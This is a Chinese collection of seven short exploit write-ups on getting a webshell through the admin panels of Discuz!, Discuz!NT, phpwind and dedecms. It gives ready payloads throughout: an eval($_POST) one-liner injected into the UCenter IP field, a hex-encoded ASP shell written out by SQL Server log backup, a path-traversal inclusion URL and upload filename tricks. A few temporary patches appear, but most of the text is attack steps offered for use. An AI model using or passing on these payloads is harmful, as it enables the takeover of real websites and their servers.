下面是小编整理的Discuz!7.07.2后台settings.inc.php中写shell漏洞,本文共7篇,欢迎阅读分享,希望对大家有所帮助。

篇1:Discuz!7.07.2后台settings.inc.php中写shell漏洞
影响版本
Discuz!7.0-7.2
漏洞详情:if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) { $ucdbpassnew = $settingsnew['uc']['dbpass'] == '********' ? UC_DBPW : $settingsnew['uc']['dbpass']; if($settingsnew['uc']['connect']) {$uc_dblink = @mysql_connect($settingsnew['uc']['dbhost'], $settingsnew['uc']['dbuser'], $ucdbpassnew, 1);if(!$uc_dblink) { cpmsg('uc_database_connect_error', '', 'error');} else { mysql_close($uc_dblink);} } $fp = fopen('./config.inc.php', 'r'); $configfile = fread($fp, filesize('./config.inc.php')); $configfile = trim($configfile); $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile; fclose($fp); $connect = ''; if($settingsnew['uc']['connect']) {require './config.inc.php';$connect = 'mysql';$samelink = ($dbhost == $settingsnew['uc']['dbhost'] && $dbuser == $settingsnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);$samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');$configfile = insertconfig($configfile, “/define ('UC_DBHOST',s*'.*?');/i”, “define('UC_DBHOST', '”.$settingsnew['uc'] ['dbhost'].“');”);//正则表示从'到')中的被替换,而')可以被任意提交,from oldjun.com$configfile = insertconfig($configfile, “/define('UC_DBUSER',s*'.*?');/i”, “define('UC_DBUSER', '”.$settingsnew['uc']['dbuser'].“');”);$configfile = insertconfig($configfile, “/define('UC_DBPW',s*'.*?');/i”, “define('UC_DBPW', '”.$ucdbpassnew.“');”);$configfile = insertconfig($configfile, “/define('UC_DBNAME',s*'.*?');/i”, “define('UC_DBNAME', '”.$settingsnew['uc']['dbname'].“');”);$configfile = insertconfig($configfile, “/define('UC_DBTABLEPRE',s*'.*?');/i”, “define('UC_DBTABLEPRE', '`”.$settingsnew['uc']['dbname'].'`.'.$settingsnew['uc']['dbtablepre'].“');”);//$configfile = insertconfig($configfile, “/define('UC_LINK',s*'?.*?'?);/i”, “define('UC_LINK', ”.($samelink && $samecharset ? 'TRUE' : 'FALSE').“);”); } $configfile = insertconfig($configfile, “/define('UC_CONNECT',s*'.*?');/i”, “define('UC_CONNECT', '$connect');”); $configfile = insertconfig($configfile, “/define('UC_KEY',s*'.*?');/i”, “define('UC_KEY', '”.$settingsnew['uc']['key'].“');”); $configfile = insertconfig($configfile, “/define('UC_API',s*'.*?');/i”, “define('UC_API', '”.$settingsnew['uc']['api'].“');”); $configfile = insertconfig($configfile, “/define('UC_IP',s*'.*?');/i”, “define('UC_IP', '”.$settingsnew['uc']['ip'].“');”); $configfile = insertconfig($configfile, “/define('UC_APPID',s*'?.*?'?);/i”, “define('UC_APPID', '”.$settingsnew['uc']['appid'].“');”); $fp = fopen('./config.inc.php', 'w'); if(!($fp = @fopen('./config.inc.php', 'w'))) {cpmsg('uc_config_write_error', '', 'error'); } @fwrite($fp, trim($configfile)); @fclose($fp); }settings.inc.php对提交的数据缺乏有效过滤,导致可以写入')污染配置文件的数据,而insertconfig函数的正则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件,Discuz!7.07.2后台settings.inc.php中写shell漏洞
,
function insertconfig($s, $find, $replace) {if(preg_match($find, $s)) {$s = preg_replace($find, $replace, $s); //正则匹配替换数据} else {$s .= “rn”.$replace;}return $s;}
测试方法:程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
步骤一:UC_IP(UC_IP是可选项,随便写入一般不影响程序运行)中写入污染数据:xxx');eval($_POST[cmd])?>提交;步骤二:UC_IP随便输入aaa,正则匹配只匹配到了'),于是自动把分号前的闭合了。临时补丁:在if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {下添加: foreach($settingsnew['uc'] as $key => $value){ $settingsnew['uc'][$key]=str_replace(')','',$value); }篇2:Discuz 7.07.2后台拿Shell网站安全
1.Ucenter插入一句话:3EST');eval($_POST[a])?>;//
2. 然后返回刚才插入地方,随便替换几个字母
3.连接文件是根目录下的 config.inc.php
篇3:Discuz!7.07.2和Phpwind7.5后台鸡肋漏洞漏洞预警
很多人有了,流传出来了,然后发出来,现在的漏洞,如果主动公布的,肯定是“无鸡肋不公布”,否则肯定是藏着,除非别人公布了。DZ的鸡肋在于需要创建者的权限(创建者的密码一般比较难搞),pw的鸡肋在于需要截断(或者linux旁注写一个shell到tmp下)。
一、discuz后台settings.inc.php中写shell漏洞:
漏洞详情:
if($operation == ''uc'' && is_writeable(''./config.inc.php'') && $isfounder) {
$ucdbpassnew = $settingsnew[''uc''][''dbpass''] == ''********'' ? UC_DBPW : $settingsnew[''uc''][''dbpass''];
if($settingsnew[''uc''][''connect'']) {
$uc_dblink = @mysql_connect($settingsnew[''uc''][''dbhost''], $settingsnew[''uc''][''dbuser''], $ucdbpassnew, 1);
if(!$uc_dblink) {
cpmsg(''uc_database_connect_error'', '''', ''error'');
} else {
mysql_close($uc_dblink);
}
}
$fp = fopen(''./config.inc.php'', ''r'');
$configfile = fread($fp, filesize(''./config.inc.php''));
$configfile = trim($configfile);
$configfile = substr($configfile, -2) == ''?>'' ? substr($configfile, 0, -2) : $configfile;
fclose($fp);
$connect = '''';
if($settingsnew[''uc''][''connect'']) {
require ''./config.inc.php'';
$connect = ''mysql'';
$samelink = ($dbhost == $settingsnew[''uc''][''dbhost''] && $dbuser == $settingsnew[''uc''][''dbuser''] && $dbpw == $ucdbpassnew);
$samecharset = !($dbcharset == ''gbk'' && UC_DBCHARSET == ''latin1'' || $dbcharset == ''latin1'' && UC_DBCHARSET == ''gbk'');
$configfile = insertconfig($configfile, “/define(''UC_DBHOST'',s*''.*?'');/i”, “define(''UC_DBHOST'', ''”.$settingsnew[''uc''][''dbhost''].“'');”);//正则表示从''到'')中的被替换,而'')可以被任意提交,from oldjun.com
$configfile = insertconfig($configfile, “/define(''UC_DBUSER'',s*''.*?'');/i”, “define(''UC_DBUSER'', ''”.$settingsnew[''uc''][''dbuser''].“'');”);
$configfile = insertconfig($configfile, “/define(''UC_DBPW'',s*''.*?'');/i”, “define(''UC_DBPW'', ''”.$ucdbpassnew.“'');”);
$configfile = insertconfig($configfile, “/define(''UC_DBNAME'',s*''.*?'');/i”, “define(''UC_DBNAME'', ''”.$settingsnew[''uc''][''dbname''].“'');”);
$configfile = insertconfig($configfile, “/define(''UC_DBTABLEPRE'',s*''.*?'');/i”, “define(''UC_DBTABLEPRE'', ''`”.$settingsnew[''uc''][''dbname''].''`.''.$settingsnew[''uc''][''dbtablepre''].“'');”);
//$configfile = insertconfig($configfile, “/define(''UC_LINK'',s*''?.*?''?);/i”, “define(''UC_LINK'', ”.($samelink && $samecharset ? ''TRUE'' : ''FALSE'').“);”);
}
$configfile = insertconfig($configfile, “/define(''UC_CONNECT'',s*''.*?'');/i”, “define(''UC_CONNECT'', ''$connect'');”);
$configfile = insertconfig($configfile, “/define(''UC_KEY'',s*''.*?'');/i”, “define(''UC_KEY'', ''”.$settingsnew[''uc''][''key''].“'');”);
$configfile = insertconfig($configfile, “/define(''UC_API'',s*''.*?'');/i”, “define(''UC_API'', ''”.$settingsnew[''uc''][''api''].“'');”);
$configfile = insertconfig($configfile, “/define(''UC_IP'',s*''.*?'');/i”, “define(''UC_IP'', ''”.$settingsnew[''uc''][''ip''].“'');”);
$configfile = insertconfig($configfile, “/define(''UC_APPID'',s*''?.*?''?);/i”, “define(''UC_APPID'', ''”.$settingsnew[''uc''][''appid''].“'');”);
$fp = fopen(''./config.inc.php'', ''w'');
if(!($fp = @fopen(''./config.inc.php'', ''w''))) {
cpmsg(''uc_config_write_error'', '''', ''error'');
}
@fwrite($fp, trim($configfile));
@fclose($fp);
}
settings.inc.php对提交的数据缺乏有效过滤,导致可以写入'')污染配置文件的数据,而insertconfig函数的正则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件,
function insertconfig($s, $find, $replace) {
if(preg_match($find, $s)) {
$s = preg_replace($find, $replace, $s);//正则匹配替换数据
} else {
$s .= “rn”.$replace;
}
return $s;
}
漏洞测试:
步骤一:UC_IP(UC_IP是可选项,随便写入一般不影响程序运行)中写入污染数据:xxx'');eval($_POST[cmd])?>提交;
步骤二:UC_IP随便输入aaa,正则匹配只匹配到了''),于是自动把分号前的闭合了。
临时补丁:
在if($operation == ''uc'' && is_writeable(''./config.inc.php'') && $isfounder) {下添加:
foreach($settingsnew[''uc''] as $key => $value){
$settingsnew[''uc''][$key]=str_replace('')'','''',$value);
}
二、phpwind后台本地包含漏洞:
漏洞详情:
文件:hackrateadmin.php
源码:
!function_exists(''readover'') && exit(''Forbidden'');
define ( “H_R”, R_P . “hack/rate/” );
define ( “L_R”, R_P . “lib/” );
InitGP ( array (''ajax'' ) );
$action = strtolower ( ($job) ? $job : “admin” );
$filepath = H_R . “action/” . $action . “Action.php”;
(! file_exists ( $filepath )) && exit ;
if ($job != “ajax”) {
require H_R . ''/template/layout.php'';
} else {
require_once $filepath;
}
?>
再看看hackratetemplatelayout.php:
!function_exists(''readover'') && exit(''Forbidden'');
include_once PrintEot ( ''left'' );
print <<
-->
EOT;
require_once $filepath;
include_once PrintEot ( ''adminbottom'' );
?>
$job可以自定义,触发本地包含,只不过addslashes了,因此不能通过%00截断;但可以通过若干///////截断,或者直接在tmp文件夹下写个shell来包含。具体不多说了,利用办法:
漏洞测试:
先在tmp下上传一个shell,名为Action.php
然后访问:127.0.0.1/pw/admin.php?adminjob=hack&hackset=rate&typeid=100&job=../../../../../../tmp/
临时补丁:
$filepath = H_R . “action/” . $action . “Action.php”;
替换为:
$filepath = Pcv(H_R . “action/” . $action . “Action.php”);
篇4:Discuz! NT3.0后台拿shell
作者:icysun
本人不才,搞了好长时间才搞明白怎么拿shell
进了后台我们可以知道网站的路径,这个很重要
直接导出一句话 Select * from table1 into outfile 'c:test.txt' 这样是不行的(不知道是我哪里不对,还是根本就不行),
所以我们只能log或者差异备份了,我们要知道库的名字,其实不用很麻烦的找,
直接选择备份数据库,就会告诉我们库的名字
在这里我建议使用log备份
因为我差异备份N次都没成功,虽然备份进去了
alter database 库名 set RECOVERY FULL
create table [dbo].[icy] ([sun] [image]);
insert into [icy](sun) values (0x3C25657865637574652872657175657374282261222929253EDA) //一句话密码 a
backup log 库名 to disk = 'E:icy.asp'
drop table icy
篇5:discuz X2.5后台拿shell及修复
有管理员帐号及密码,
discuz X2.5后台拿shell及修复
,
直接在UCenter IP 地址:里面插入一句话 xxoo');eval($_POST[a])?>;// 就ok 然后菜刀连接 /config/config_ucenter.php密码a ,
测试通过
篇6:常用的后台上传拿shell漏洞预警
有的时候进入后台了,拿shell也可能是你羁绊,有编辑器的话,再具体说吧,万一编辑器是精简版的或者是漏洞修补的FCK,只能利用一些小的上传点了,可不要小看这些上传点。
能不能利用的NC提交,其实NC提交已经反锁了,利用opera浏览器或者使用suitbute更为简洁。那一般说来什么情况下可以如此使用呢,看源代码
出现类似filepath value=”upload”就爽歪歪了,试着修改value=“upload.asp;”
出现类似filename value =”1312321321″ ,试着修改value=”1312321321.asp”
如果还不行的可是在后面加上一个空格或者;试试
篇7:dedecms 5.7后台拿SHELL漏洞
dedecms 5.7教之前的版本有了很大的改进,
修复了5.6以下版本严重的上传0day;
相当的鸡肋,前提是有了后台权限,
由于系统自带的文件管理器插件没有过滤文件上传及编辑后保存的文件名,
导致直接写入webshell漏洞。
方法一见:dedecms5.7拿SHELL漏洞即修复
漏洞测试:
1、进入后台,默认的是dede,www.kuqin.com/dede,
左边导航栏目,选择模块>辅助插件>文件管理器
(系统默认安装的,如果没有请在插件管理器中自行安装)>然后选择新建文本(或者文件上传)……
如上图:文件名称随便填,例如1.php;内容出填写一句话;菜刀连接,
下面的上传也一样,没有过滤文件扩展名,导致上传任意文件。
★淘客帝国系统后台cookie欺骗漏洞及后台拿shell漏洞预警
★iShowMusic V1.2 写入shell漏洞漏洞预警
★Shell脚本中使用for循环和cat命令实现按顺序合并文件
《Discuz!7.07.2后台settings.inc.php中写shell漏洞(精选7篇).doc》将本文的Word文档下载到电脑,方便收藏和打印推荐度:![]()
![]()
![]()
![]()
![]()
点击下载文档文档为doc格式